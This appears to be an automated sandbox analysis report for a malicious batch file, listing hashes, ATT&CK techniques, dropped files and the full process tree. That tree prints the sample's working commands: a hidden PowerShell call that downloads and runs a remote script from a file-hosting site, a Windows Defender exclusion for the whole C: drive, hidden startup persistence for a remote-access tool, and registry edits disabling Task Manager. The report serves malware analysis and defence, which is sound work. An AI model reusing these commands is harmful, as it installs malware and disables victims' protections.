33db99bad574cbf27ade2e379fd0e4409e08915e905a0f0ea0095429271474cb

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/05/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DRX1.bat
Size 307B
Sample260502-phbweae18y
SHA256 33db99bad574cbf27ade2e379fd0e4409e08915e905a0f0ea0095429271474cb
MD5 d0e1755f6883ac0cf6c16e1e534f572c
SHA1 693feb5eb7168cfb96f0f62097dca71eb55b36ab
SHA512 ef8f832a07417fff7f27e930f00e715ae9a22d357f09883f699af9559b312e9842507e6fc17b081f78442f62b52dc2f8b6505bdbfa7cb659f6777f6db11fad96
TLSH
T12DE07D445C28604BDD9AC998471203066D4712C1450A83451A2CE8213901DDAC69E466
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4548	powershell.exe
11	4548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4896	powershell.exe
4548	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts.backup	powershell.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord Rat.exe	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord Rat.exe	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SovereignUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\SiIIyClient.exe"	powershell.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1040	cmd.exe
3208	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1516	reg.exe
3344	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	powershell.exe
4896	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 4300	1960	cmd.exe	87
PID 4300 wrote to memory of 4128	4300	mshta.exe	88
PID 4128 wrote to memory of 4896	4128	cmd.exe	90
PID 4896 wrote to memory of 4548	4896	powershell.exe	91
PID 4548 wrote to memory of 3380	4548	powershell.exe	93
PID 4548 wrote to memory of 3208	4548	powershell.exe	94
PID 3208 wrote to memory of 3700	3208	cmd.exe	95
PID 4548 wrote to memory of 1040	4548	powershell.exe	96
PID 1040 wrote to memory of 4736	1040	cmd.exe	97
PID 4548 wrote to memory of 1516	4548	powershell.exe	99
PID 4548 wrote to memory of 3344	4548	powershell.exe	100
PID 4548 wrote to memory of 4024	4548	powershell.exe	102
PID 4024 wrote to memory of 4556	4024	csc.exe	103

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4736	attrib.exe
3700	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DRX1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\system32\mshta.exe
  mshta vbscript:CreateObject("WScript.Shell").Run("""C:\Users\Admin\AppData\Local\Temp\DRX1.bat"" h",0,false)(window.close)
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DRX1.bat" h"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'irm files.catbox.moe/mbsa7g.txt | iex' -WindowStyle Hidden -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm files.catbox.moe/mbsa7g.txt | iex
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in Drivers directory
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4548
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ /f
        6⤵
        
        PID:3380
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "attrib +h +s " "C:\Users\Admin\AppData\Local\Temp\Discord Rat.exe"
        6⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:3208
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s " "C:\Users\Admin\AppData\Local\Temp\Discord Rat.exe
        7⤵
        Views/modifies file attributes
        
        PID:3700
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "attrib +h +s " C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord Rat.exe
        6⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:1040
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord Rat.exe
        7⤵
        Views/modifies file attributes
        
        PID:4736
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        Modifies registry key
        
        PID:1516
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        Modifies registry key
        
        PID:3344
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ysiuut1f\ysiuut1f.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4024
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES39A9.tmp" "c:\Users\Admin\AppData\Local\Temp\ysiuut1f\CSCA7582686FB1F47DBB6FE15B8E59D503A.TMP"
        7⤵
        
        PID:4556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 787628c3dd129679416857bcb63c52f8477a02cfeadfe0d4d5d98eb7902c61d8
MD5 40588a42cb8549ecc094e7d45f28c74c
SHA1 65d5d1f79fe82009c3c4c6d2c7ce874939926b8b
SHA512 e77dd348027e9df604520e228061f2e9c3d87ad695567c81dd95976eaba7df580eb565bff8b485558a0561bdd0de6ac202ead1965f6c23f746e5542ff9bea3c6
MD5 SHA1 SHA512

Submit Download

RES39A9.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES39A9.tmp
Size 1KB
SHA256 2ea7b4e7b1fc4824cd36d609539a8f9590ad68a4019cc84adb49ffe0a2dbc566
MD5 40f8c9134cb117735e4c66da4fa74e88
SHA1 7cf580044ce63d3bbd5765aed174bcd03077e95a
SHA512 ff66d9ee704b01ca59d5312c7321629742eca474dcb7c23d5502b0e50cf64c4f8b6f14cf80ab12498727d3cdb2cea852260e566e4b4dcc8debf4c0a14e7fb2b5
TLSH
T160218C0583E94B1EF0B7573269F6072FE279FD65AF62935A8944422C2C41104EFB1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xb0v1srz.e5r.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xb0v1srz.e5r.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ysiuut1f.dll

Path C:\Users\Admin\AppData\Local\Temp\ysiuut1f\ysiuut1f.dll
Size 3KB
SHA256 bc907b096751481a0b2a5911c99e20921c1277c21027c2d4681898c9e3b458d5
MD5 1cc19290e7b2967f7244112a863a67c5
SHA1 1c05329877078c72e5a63c634a4d2fa41276ebf0
SHA512 c9f8ec67506a205d7ff4e6e56f00ce0e30d7aaf8881b3b9e659c93a7b7a1f7dabca8e8c577ffc3b741840f2a96b1a9213f1356791e6fca1aaaeb7589bea08ce8
TLSH
T11051DC16A3F8056BF4B70734AEE3435677A9F8518FB353AD4990422DAC213645E32FB0
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 cd4ef34d3bf960d29486c8f59bb1c588d00f7f5f32a01eb5232b58325735d1b5
MD5 f0a07c8906c76d850175ca76b9eb8ac8
SHA1 c616c3351478336faa2a40ab30c9506a66d98ddb
SHA512 3502ef0adefde9d11c3a531ea643e2b1260fbff32f1aa472ff4ae83d8c4c13ef329f343fbcb2a7b10f1ff5fed4175468d25a2bc5a47aca2b994e3a0c9d7343c0
TLSH
T18A41EF75064991EC66F380A50478B63FE20BE0B60DDBFACA398DC65B37B051C32D625D
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 da7b9f45094d51ffb14bfc36e618c822211b2e2acefa0d6b8c4fc3c88c2f8477
MD5 a7bdbbf0dda524c724566d0cb45c1fea
SHA1 1c81e93cbe9cbf08780b850c553892352d835b10
SHA512 381b258d4ab60b19cb09b625a40ea5430c825bcc51a8adfe4e15d76c6ae8025aadef9de08b230cd474458590381f07e6f8080368cd192c4c71426d37f3f0f1dc
TLSH
T1C941DB71054991EC26F380940478BA3BE20BE0B60CEBFACA398DC65B37B051C22D625D
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA7582686FB1F47DBB6FE15B8E59D503A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ysiuut1f\CSCA7582686FB1F47DBB6FE15B8E59D503A.TMP
Size 652B
SHA256 c93df58bbfdc3c5f8b724dcb0f7cf5c4ca4d4b541528d8df545a1336cbee0faa
MD5 17a29839785233c0b3c4735547ae4664
SHA1 1c972209530237496017e1e2c9b7e3a45058d671
SHA512 c9142e3b2e2624e8ec40a91cfc805dbd7182391de1f14391f8266500c94061ecbbe363ec49a3d3866d79480761e099fa0476f776f211f940ed89a81266af0d37
TLSH
T139F0540963F8020EF1F34B34BDF54363A1ADBC66DE3293ED1844031D28645109A72F71
MD5 SHA1 SHA512 TLSH

Submit Download

ysiuut1f.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ysiuut1f\ysiuut1f.0.cs
Size 222B
SHA256 24eccc4e8fb358f0f14dcd8969f8c715c1d64d0ecd271e9bc0c2920537d113bb
MD5 f30a55ca5daf352ef5abd4e183a3baf8
SHA1 d92a0b5aab2a45f5d40add70fd8acfa6194c31c2
SHA512 188b663cb1bf8e6835cb86fcc4ed64109de6c5fd80367bd7cfd04af9a04d3a00f21a4532d9ef82c4464a11ae0b661c5598a3796e61c4c8ee4ecc51cd5e8b8a5b
TLSH
T17CD02374F35BC57B141614070CC7A1ED73631135E37A1806F5F43101DD57025A674E6C
MD5 SHA1 SHA512 TLSH

Submit Download

ysiuut1f.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ysiuut1f\ysiuut1f.cmdline
Size 369B
SHA256 05582f8258bcd83ac267e79b9bb0b17672390da346e6921e04776f49dbd4d928
MD5 d636b4286a3c1159a0e35902b7be53ac
SHA1 fdf5fcb21daf2ca34333a133b8cf358d5247f0e6
SHA512 e69f3d56e724996aa2804f5e2571bc74c5b8e76e6bbc40d6a0cb3206d570a2a6eaa7184b9ba9fd4b489313e2f44bca71f4c82393b6f82bcb53e866b2c4b99322
TLSH
T191E0C03A4246CA7D15DDA10B22EAC4ECC2B20B433A403FC45288C49DD21F500EBE9741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4024-82-0x0000014A21880000-0x0000014A2188C000-memory.dmp

Download

memory/4548-22-0x000001641AA00000-0x000001641ABC2000-memory.dmp

Download

memory/4548-84-0x000001641AFD0000-0x000001641AFD8000-memory.dmp

Download

memory/4548-86-0x0000016400410000-0x000001640041C000-memory.dmp

Download

memory/4556-79-0x0000018ED3F20000-0x0000018ED3F2C000-memory.dmp

Download

memory/4896-12-0x00000256F4FD0000-0x00000256F4FDC000-memory.dmp

Download

memory/4896-9-0x00000256F6FE0000-0x00000256F7002000-memory.dmp

Download